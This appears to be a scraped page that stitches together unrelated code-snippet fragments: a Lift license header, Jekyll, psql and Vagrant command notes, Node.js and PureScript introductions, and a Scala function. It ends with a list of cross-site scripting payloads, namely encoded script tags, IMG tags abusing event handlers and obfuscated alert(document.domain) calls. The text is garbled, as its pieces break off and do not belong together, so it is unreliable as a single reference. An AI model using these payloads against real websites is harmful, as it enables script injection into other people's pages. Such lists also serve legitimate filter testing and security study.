package code.mockweb | |
/* | |
* Copyright 2011 WorldWide Conferencing, LLC | |
* | |
* Licensed under the Apache License, Version 2.0 (the "License"); | |
* you may not use this file except in compliance with the License. | |
* You may obtain a copy of the License at | |
* | |
* http://www.apache.org/licenses/LICENSE-2.0 | |
* |
A list of the most common functionalities in Jekyll (Liquid). You can use Jekyll with GitHub Pages, just make sure you are using the proper version.
Running a local server for testing purposes:
Magic words:
psql -U postgres
Some interesting flags (to see all, use -h
or --help
depending on your psql version):
-E
: will describe the underlaying queries of the\
commands (cool for learning!)-l
: psql will list all databases and then exit (useful if the user you connect with doesn't has a default database, like at AWS RDS)
Typing vagrant
from the command line will display a list of all available commands.
Be sure that you are in the same directory as the Vagrantfile when running these commands!
vagrant init
-- Initialize Vagrant with a Vagrantfile and ./.vagrant directory, using no specified base image. Before you can do vagrant up, you'll need to specify a base image in the Vagrantfile.vagrant init <boxpath>
-- Initialize Vagrant with a specific box. To find a box, go to the public Vagrant box catalog. When you find one you like, just replace it's name with boxpath. For example,vagrant init ubuntu/trusty64
.
vagrant up
-- starts vagrant environment (also provisions only on the FIRST vagrant up)
Node is a program (usually run from the command line) which executes JavaScript, and comes with a built-in library for writing network and filesystem code. Node is built on V8, the same JavaScript VM used in the Chrome browser. Instead of being wrapped with a GUI and web browser features like the DOM, node wraps V8 to expose lower-level operating system APIs. Some modules that come with node include: http
, fs
(filesystem), crypto
(cryptography), and lots more.
Modules are chunks of code you can 'require' and then use. Today we'll use the http
module, like so:
var http = require('http')
- Compiles to JavaScript
- Haskell-inspired type system (with some improvements!)
- No runtime (unlike Elm, GHCJS, etc)
- A focus on readable and debuggable JavaScript
Copyright © 2016-2018 Fantasyland Institute of Learning. All rights reserved.
A function is a mapping from one set, called a domain, to another set, called the codomain. A function associates every element in the domain with exactly one element in the codomain. In Scala, both domain and codomain are types.
val square : Int => Int = x => x * x
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
// How many ways can you alert(document.domain)? | |
// Comment with more ways and I'll add them :) | |
// I already know about the JSFuck way, but it's too long to add (: | |
// Direct invocation | |
alert(document.domain); | |
(alert)(document.domain); | |
al\u0065rt(document.domain); | |
al\u{65}rt(document.domain); | |
window['alert'](document.domain); |